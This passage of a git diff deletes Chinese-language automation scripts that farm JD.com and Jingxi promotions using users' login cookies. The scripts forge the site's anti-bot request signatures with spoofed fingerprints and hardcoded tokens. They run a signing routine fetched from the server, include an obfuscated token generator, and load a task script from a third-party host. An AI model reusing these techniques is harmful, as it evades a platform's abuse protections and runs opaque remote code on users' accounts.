{ - return new Promise(async resolve => { - if (parseInt(left) <= 0) { - $.log(`${taskname}[做任务]: 任务已完成,跳过`); - resolve(false); - } - $.get( - taskUrl( - 'dotask', - `active=${$.info.active}&answer=${$.info.indexday}:D:0&joinnum=${$.info.joinnum}&tasklevel=${tasklevel}&_stk=${encodeURIComponent("active,answer,ch,farm_jstoken,joinnum,phoneid,tasklevel,timestamp")}`, - ), - (err, resp, data) => { - try { - let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); - if (res) { - res = res[1]; - let {ret, retmsg} = JSON.parse(res); - retmsg = retmsg !== '' ? retmsg : '成功'; - $.log(`${taskname}[做任务]:ret:${ret} retmsg:"${retmsg.indexOf('活动太火爆了') !== -1 ? '任务进行中或者未到任务时间' : retmsg}"`); - if (ret === 0) { - $.drip += eachtimeget; - } - resolve(ret); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }, - ); - }); -} - - -function taskUrl(function_path, body, stk) { - let url = `${JXNC_API_HOST}cubeactive/farm/${function_path}?${body}&farm_jstoken=${currentToken['farm_jstoken']}&phoneid=${currentToken['phoneid']}×tamp=${currentToken['timestamp']}&sceneval=2&g_login_type=1&callback=whyour&_=${Date.now()}&g_ty=ls`; - url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` - if (stk) { - url += `&_stk=${encodeURIComponent(stk)}`; - } - return { - url, - headers: { - Cookie: currentCookie, - Accept: `*/*`, - Connection: `keep-alive`, - Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, - 'Accept-Encoding': `gzip, deflate, br`, - Host: `wq.jd.com`, - 'Accept-Language': `zh-cn`, - "User-Agent": UA - }, - timeout: 10000, - }; -} -function randomString() { - return Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) -} - -async function showMsg() { - if (notifyBool) { - $.msg($.name, subTitle, message, option); - if ($.isNode()) { - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); - allMessage += `${subTitle}\n${message}${$.index !== cookieArr.length ? '\n\n' : ''}` - } - } else { - $.log(`${$.name} - notify 通知已关闭\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); - } -} - -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - -var _0xodF='jsjiami.com.v6',_0x5b0b=[_0xodF,'cyNU','XcOkE8O8wqc=','bsOsw4LCsRUKacOqw6xywrnCpcOBwqzDrMK4w78Hc0RtARs1LMK7UsORw5DDtTvDlMOhTWdJ','w7PDhsK5LTw=','VA0TwroQwpk=','w6xQw4hObsKK','wqrDmcK/KmQ=','wqduwp7DhcOT','KCpb','5q2F6Laf5Y+2w69KNcKRQ8Ki5aGE5Ye45Lug6KS56Iy4dOS9lueZvcKJHWtDelV+S8KQwqHlkZDpnpnmsrHli4jljpnDpQAMw7A=','qzJQKjsjhUKiamhDLiI.Jrcom.v6=='];(function(_0x575984,_0x111392,_0x45a010){var _0x199276=function(_0x3fe5bc,_0x4fea58,_0x564d83,_0x7e4c96,_0x31f329){_0x4fea58=_0x4fea58>>0x8,_0x31f329='po';var _0x1b3d5d='shift',_0x48218b='push';if(_0x4fea58<_0x3fe5bc){while(--_0x3fe5bc){_0x7e4c96=_0x575984[_0x1b3d5d]();if(_0x4fea58===_0x3fe5bc){_0x4fea58=_0x7e4c96;_0x564d83=_0x575984[_0x31f329+'p']();}else if(_0x4fea58&&_0x564d83['replace'](/[qzJQKhUKhDLIJr=]/g,'')===_0x4fea58){_0x575984[_0x48218b](_0x7e4c96);}}_0x575984[_0x48218b](_0x575984[_0x1b3d5d]());}return 0x8dbb1;};return _0x199276(++_0x111392,_0x45a010)>>_0x111392^_0x45a010;}(_0x5b0b,0x138,0x13800));var _0xa80f=function(_0x573aaa,_0x1954c9){_0x573aaa=~~'0x'['concat'](_0x573aaa);var _0x28dbcb=_0x5b0b[_0x573aaa];if(_0xa80f['fYTBaI']===undefined){(function(){var _0x34fb78=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4c41c3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x34fb78['atob']||(_0x34fb78['atob']=function(_0x108344){var _0x1c9d23=String(_0x108344)['replace'](/=+$/,'');for(var _0x231b41=0x0,_0x409c1c,_0x79d606,_0x4d4dd3=0x0,_0x539f42='';_0x79d606=_0x1c9d23['charAt'](_0x4d4dd3++);~_0x79d606&&(_0x409c1c=_0x231b41%0x4?_0x409c1c*0x40+_0x79d606:_0x79d606,_0x231b41++%0x4)?_0x539f42+=String['fromCharCode'](0xff&_0x409c1c>>(-0x2*_0x231b41&0x6)):0x0){_0x79d606=_0x4c41c3['indexOf'](_0x79d606);}return _0x539f42;});}());var _0x11caff=function(_0x4969ce,_0x1954c9){var _0x1deab0=[],_0x54f040=0x0,_0x11157a,_0x28c8dd='',_0x2e4762='';_0x4969ce=atob(_0x4969ce);for(var _0x4c665e=0x0,_0x81f3b1=_0x4969ce['length'];_0x4c665e<_0x81f3b1;_0x4c665e++){_0x2e4762+='%'+('00'+_0x4969ce['charCodeAt'](_0x4c665e)['toString'](0x10))['slice'](-0x2);}_0x4969ce=decodeURIComponent(_0x2e4762);for(var _0x4c705a=0x0;_0x4c705a<0x100;_0x4c705a++){_0x1deab0[_0x4c705a]=_0x4c705a;}for(_0x4c705a=0x0;_0x4c705a<0x100;_0x4c705a++){_0x54f040=(_0x54f040+_0x1deab0[_0x4c705a]+_0x1954c9['charCodeAt'](_0x4c705a%_0x1954c9['length']))%0x100;_0x11157a=_0x1deab0[_0x4c705a];_0x1deab0[_0x4c705a]=_0x1deab0[_0x54f040];_0x1deab0[_0x54f040]=_0x11157a;}_0x4c705a=0x0;_0x54f040=0x0;for(var _0x4f3ecc=0x0;_0x4f3ecc<_0x4969ce['length'];_0x4f3ecc++){_0x4c705a=(_0x4c705a+0x1)%0x100;_0x54f040=(_0x54f040+_0x1deab0[_0x4c705a])%0x100;_0x11157a=_0x1deab0[_0x4c705a];_0x1deab0[_0x4c705a]=_0x1deab0[_0x54f040];_0x1deab0[_0x54f040]=_0x11157a;_0x28c8dd+=String['fromCharCode'](_0x4969ce['charCodeAt'](_0x4f3ecc)^_0x1deab0[(_0x1deab0[_0x4c705a]+_0x1deab0[_0x54f040])%0x100]);}return _0x28c8dd;};_0xa80f['LuAVWF']=_0x11caff;_0xa80f['mCXDyr']={};_0xa80f['fYTBaI']=!![];}var _0x390a3d=_0xa80f['mCXDyr'][_0x573aaa];if(_0x390a3d===undefined){if(_0xa80f['dUKlOc']===undefined){_0xa80f['dUKlOc']=!![];}_0x28dbcb=_0xa80f['LuAVWF'](_0x28dbcb,_0x1954c9);_0xa80f['mCXDyr'][_0x573aaa]=_0x28dbcb;}else{_0x28dbcb=_0x390a3d;}return _0x28dbcb;};function getJxToken(){var _0xa422={'lGSBc':_0xa80f('0','9qEv'),'zYXMd':function(_0x3fddf8,_0x2e8c46){return _0x3fddf8(_0x2e8c46);},'EtUUR':function(_0xc1dc78,_0x2dd44b){return _0xc1dc78(_0x2dd44b);},'fhrXi':function(_0x4b8614){return _0x4b8614();}};function _0x2cfb27(_0x3d541e){let _0x19600a=_0xa422[_0xa80f('1','Ye&F')];let _0x1a62e9='';for(let _0x44ee85=0x0;_0x44ee85<_0x3d541e;_0x44ee85++){_0x1a62e9+=_0x19600a[parseInt(Math[_0xa80f('2',']aCG')]()*_0x19600a[_0xa80f('3','J@ZI')])];}return _0x1a62e9;}return new Promise(_0x3d4dca=>{let _0x1934d2=_0xa422[_0xa80f('4','&w[x')](_0x2cfb27,0x28);let _0x140a50=(+new Date())['toString']();if(!currentCookie[_0xa80f('5','YcXf')](/pt_pin=([^; ]+)(?=;?)/)){console[_0xa80f('6','WGWr')](_0xa80f('7','4!)U'));_0x3d4dca(null);}let _0x1ab949=currentCookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0xa37fe3=$[_0xa80f('8','MVeX')](''+_0xa422['EtUUR'](decodeURIComponent,_0x1ab949)+_0x140a50+_0x1934d2+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')['toString']();currentToken={'timestamp':_0x140a50,'phoneid':_0x1934d2,'farm_jstoken':_0xa37fe3};_0xa422[_0xa80f('9','ZsI%')](_0x3d4dca);});};_0xodF='jsjiami.com.v6'; -// prettier-ignore -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_kanjia.js b/backUp/jd_kanjia.js deleted file mode 100644 index 1484aa6..0000000 --- a/backUp/jd_kanjia.js +++ /dev/null @@ -1,303 +0,0 @@ -/* -#柠檬是兄弟就砍我 -#自定义邀请码环境变量 -export actId="" ##你要参加砍价的商品ID -export packetId="" ##你要参加砍价的邀请码 -[task_local] -#柠檬是兄弟就砍我 - 0 0 * * * http://nm66.top/jd_kanjia.js, tag=柠檬是兄弟就砍我, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -*/ - - -const $ = new Env('柠檬是兄弟就砍我'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let actId = ''; //你要参加砍价的商品ID -let packetId = '';//你要参加砍价的邀请码 -//c50d6379ad3b4782bfc05940e358ace3 -//ac4a4b0b300e4fc6a2fdb88412f51e94-amRfTFBtdnNBVGdyQ0t1 -if (process.env.actId) { - actId = process.env.actId; -} - -if (process.env.packetId) { - packetId = process.env.packetId; -} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await list() - - await $.wait(10000) - - await kanjia() - - - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function list() { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com`, - - body: `functionId=HomeZeroBuy&body={"pageNum":1,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, -headers: { -"Origin": "https://mfn.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.code == 0){ -console.log("商品:"+data.data[0].goodsName+"\n商品ID:"+data.data[0].actId) -await listyqm(data.data[0].actId) -console.log("\n商品:"+data.data[1].goodsName+"\n商品ID:"+data.data[1].actId) -await listyqm(data.data[1].actId) -console.log("\n商品:"+data.data[2].goodsName+"\n商品ID:"+data.data[2].actId) -await listyqm(data.data[2].actId) -console.log("\n商品:"+data.data[3].goodsName+"\n商品ID:"+data.data[3].actId) -await listyqm(data.data[3].actId) -console.log("\n商品:"+data.data[4].goodsName+"\n商品ID:"+data.data[4].actId) -await listyqm(data.data[4].actId) - - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function listyqm(actIda) { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com`, - - body: `functionId=initiateBargain&body={"actId":"${actIda}","headPortrait":"","nick":"","channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, -headers: { -"Origin": "https://mfn.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.code == 0){ - - console.log('\n当前商品邀请码:'+data.data.packetId+"\n当前初始化砍价:"+data.data.amount) - - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function kanjia() { - return new Promise(async (resolve) => { - - let options = { - url: 